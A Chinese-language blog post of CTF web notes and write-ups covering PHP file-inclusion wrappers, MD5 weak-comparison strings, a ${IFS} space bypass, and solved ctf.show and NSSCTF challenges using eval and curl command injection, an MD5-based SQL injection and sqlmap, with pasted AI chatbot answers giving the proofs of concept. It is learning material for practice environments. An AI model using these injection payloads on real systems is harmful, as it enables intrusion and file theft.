CTF - web (持续更新ing)

思路

拿到网页先观察一下网页的情况,看看这个是什么网页

有登录框 - SQL注入

空白页 - 无意义页 - F12看源码

源码题 - 审计 - 多练就好了=-= (这种其实可以丢deepseek问)

都不是?直接上后台扫描工具

源码题 (源码泄露)

这个没啥好说的,多练,当然,为了应对线上比赛,我也有专门的一套解题方案,DeepSeek 大法 !

提问

我正在解答CTF题目,以下是题目
----
(这里把源码拷贝进来)
----
请帮我解答,并给出相应的POC或解题过程

然后跟着做就行了=-=

带框题

带框的,楞啥呢,十有八九都是SQL注入

parse_url

parse_url 函数 可以将网址中的信息按照一定格式拆分,变成数组

$u = "//www.example.com/path?query=1";
$data = parse_url($u);
echo var_dump($data);
array(3) {
  ["host"]=>
  string(15) "www.example.com"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(3) "query=1"
}

include (文件包含)

伪协议

  • data
  • php
  • file
File://  访问本地文件系统
http://  访问HTTPs网址
ftp://  访问ftp URL
Php://  访问输入输出流
Zlib://  压缩流
Data://  数据
Ssh2://  security shell2
Expect://  处理交互式的流
Glob://  查找匹配的文件路径
协议测试PHP版本allow_url_fopenallow_url_include语法
file://>=5.2off/onoff/on?file=file://C:/phpStudy/PHPTutorial/WWW/flag.txt
php://filter>=5.2off/onoff/on?file=php://filter/read=convert.base64-decode/resource=./index.php
php://input>=5.2off/onon?file=php://input [POST DATE] <?php phpinfo();?>
zip://>=5.2off/onoff/on?file=zip://C:/phpStudy/PHPTutorial/WWW/file.zip%23phpcode.txt
compress.bzip2://>=5.2off/onoff/on?file=compress.bzip2://file.bz2?file=compress.bzip2://C:/phpStudy/PHPTutorial/WWW/flle.bz2
compress.zlib://>=5.2off/onoff/on?file=compress.zlib://file.bz2?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/flle.bz2
data://>=5.2onon?file=compress.zlib://file.bz2?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/flle.bz2

data伪协议

data:text/plain,<?php phpinfo()?>  #GET数据

data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=  #后面的base64字符是需要传入的字符串的base64编码

<?php system("ls");?>

传入的代码可以直接被运行

file 伪协议

php 伪协议

php://input [POST DATA:]<?php phpinfo()?>  #POST数据

php://filter/read=convert.base64-encode/resource=xxx.php
#get读源码

MD5

PHP弱类型比较

0e开头的 md5
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

绕过类

shell 空格绕过

可以代替空格的字符 ${IFS}

实战环节

CTF-show

PARSE_URL 第一关

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: [email protected]
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);

OK是一道源码题,分析一下源码

第一行会通过GET方式传入一个参数u,参数u会被传入 parse_url() 函数,并放在$data变量里存着

第二行,执行$data 变量里 host 字段 的内容

说明我们需要传入一个数组,并且把代码放在host字段里,通过eval执行

pase_url 上文有介绍这个函数,这个函数会把传入的网址变成特定格式的数组,我们先拿到example(上面介绍给出来了)

//www.example.com/path?query=1

因为代码只会获取host字段里的内容,把无关参数去掉

//www.example.com  ==> //pwd (把host字段改为恶意代码)

ok干净了,然后我们把这段字符串通过GET方式传入

构造POC

https://262f107b-cdb9-43f2-96d7-c6074505153b.challenge.ctf.show?u=//pwd

自信慢慢=-= 回车!发现没有执行,仔细观察一下

eval($data['host']); ==> eval(pwd)

噢~ 原来只是传入了命令,eval需要配合system使用才能执行系统命令,浅浅改一下

https://262f107b-cdb9-43f2-96d7-c6074505153b.challenge.ctf.show?u=//system("pwd");

回车!

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: [email protected]
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);
/var/www/html

OK有回显了,遍历一下目录,找找flag在哪,利用 ;可以持续执行

最终poc

https://262f107b-cdb9-43f2-96d7-c6074505153b.challenge.ctf.show?u=//system("cd ..;cd ..;cd ..;pwd;ls;cat flag_is_here.txt");
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-05-10 09:52:06
# @Last Modified by:   h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: [email protected]
# @link: https://ctfer.com

*/

$data = parse_url($_GET['u']);

eval($data['host']);
/ bin dev etc flag_is_here.txt home lib media mnt opt proc root run sbin srv sys tmp usr var ctfshow{cca10236-857b-4e9f-bb07-c342096c9b5b}

falg

ctfshow{cca10236-857b-4e9f-bb07-c342096c9b5b}

PARSE_URL 第二关

萌新赛 签到题

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

源码题,不多说了,直接deepseek大法!

我正在解答CTF题目,以下是题目
----
<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>
----
请帮我解答,并给出相应的POC或解题过程

输出

要解决这个CTF题目,我们需要利用命令注入漏洞来获取服务器上的flag文件。以下是具体步骤:

步骤 1:命令注入测试
构造请求执行ls命令,查看当前目录下的文件:

复制
http://题目服务器/?url=;ls%20%23
;:结束curl命令,执行后续指令。

ls:列出当前目录文件。

%20:空格编码。

%23:#的编码,注释掉后续的.ctf.show。

若返回结果中存在类似flag.txt的文件,进入下一步。

步骤 2:读取Flag文件
假设存在/flag.txt,构造请求读取文件内容:

复制
http://题目服务器/?url=;cat%20/flag.txt%20%23
cat /flag.txt:输出flag文件内容。

关键点说明
命令注入:利用;分割命令,使curl失败后继续执行后续指令。

空格处理:使用%20或${IFS}绕过URL中的空格限制。

注释符号:%23(#)用于注释掉原命令中的.ctf.show,防止干扰。

结果
成功执行后,页面将显示cat命令的输出,即flag内容。例如:

复制
ctfshow{example_flag}
通过这种方法,利用未过滤的输入直接注入系统命令,最终获取目标flag。

跟着操作,就可以拿下flag了

还是浅浅分析一下,防止你们说不会

system("curl https://".$_GET['url'].".ctf.show");

看这一行,system是执行系统命令,curl是获取网页,通过GET方法传参,构造后面的网址

我们可以利用一些特殊的字符,让指令报错也继续执行

curl https:// ==> 其实前面执不执行没啥太大作用,因为我们要的是执行我们的恶意代码

curl https://;pwd #.ctf.show  ==> 因为前面和后面是改不了的,我们通过; 让前面的代码即使报错也继续执行,用#注释掉后面的代码

单独把我们修改的代码抽出来,就是我们要传入的参数,通过GET方法

;pwd #

构造POC

https://7b856fd4-80e5-4adc-a0b0-466cd4fac09d.challenge.ctf.show?url=;pwd;ls /var/www/html;cat flag #

回显

/var/www/html flag index.php ctfshow{fb62a8bf-c186-43b4-878f-91a780a9638a}

flag

ctfshow{fb62a8bf-c186-43b4-878f-91a780a9638a}

NSSCTF

[BJDCTF 2020]easy_md5

49267b73-b005-428a-8f64-c021dc6eeeec

拿到了一个登录框,乱打点字母试试

http://node4.anna.nssctf.cn:28463/leveldo4.php?password=qwe

发现多了个password参数,试试SQL注入

sqlmap -u http://node4.anna.nssctf.cn:28968/leveldo4.php?password=qwe --batch

emm 没找到注入点

右键看看源码,没发现什么有用的信息,难道被隐藏了?

看看原始数据

curl http://node4.anna.nssctf.cn:28463/leveldo4.php -v
< HTTP/1.1 200 OK
< Transfer-Encoding: chunked
< Connection: keep-alive
< Content-Type: text/html; charset=UTF-8
< Date: Thu, 27 Mar 2025 16:41:33 GMT
< Hint: select * from 'admin' where password=md5($pass,true)
< Keep-Alive: timeout=4
< Proxy-Connection: keep-alive
< Server: nginx/1.18.0
< X-Powered-By: PHP/7.3.22

观察发现有个Hint ,上面标注了sql查询指令

GET传入的password会变成$pass ,然后经过md5函数

这里要用到一段神奇的字符串 ffifdyop

ffifdyop 经过md5之后就变成了 276f722736c95d99e921722cf9ed621c

然后再变成字符串 'or'6<乱码>

简化一下就是

select * from admin where password='or'6

就实现了sql注入,来到下一题

e5a627f8-863c-435f-8d6c-961e26c94bcc

右键看源码,发现注释

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    header('Location: levell14.php');
-->

额,这,下一关的地址都给出来了,直接URL拼接

http://node4.anna.nssctf.cn:28463/levell14.php

来到下一关

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

emm源码题,直接DeepSeek

我正在解答CTF题目,以下是题目
----
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}
----
请帮我解答,并给出相应的POC或解题过程
要绕过该条件,需使param1和param2不同但它们的MD5哈希严格相等。利用PHP处理数组的特性:

传递数组参数:
将param1和param2设置为数组,由于数组内容不同,满足!==条件。

MD5处理数组返回NULL:
PHP的md5()函数接收数组时会返回NULL,因此两者的MD5比较NULL === NULL成立。

具体步骤:
使用POST请求发送以下参数(例如通过表单或curl):

复制
param1[]=a&param2[]=b
此时:

$_POST['param1'] 是数组 array('a')

$_POST['param2'] 是数组 array('b')

md5($_POST['param1']) 和 md5($_POST['param2']) 均返回 NULL

满足条件,输出flag。

AI大法屡试不爽啊=-=,所以别老说源码题不会解了~

简单说一下吧,大致就是 数组经过md5函数都会返回NULL

POST传参

param1[]=a&param2[]=b

flag直接出来了

NSSCTF{b080f5fc-c8d1-4f4b-90ac-f65eabc74bd2}

OK

工具

提到的工具全部都写在下面

御剑后台扫描

一个可以扫描网站后台的工具

对网站进行目录扫描,看一下网站都有哪些文件和目录

最后修改:2025 年 03 月 28 日
如果觉得我的文章对你有用,请随意赞赏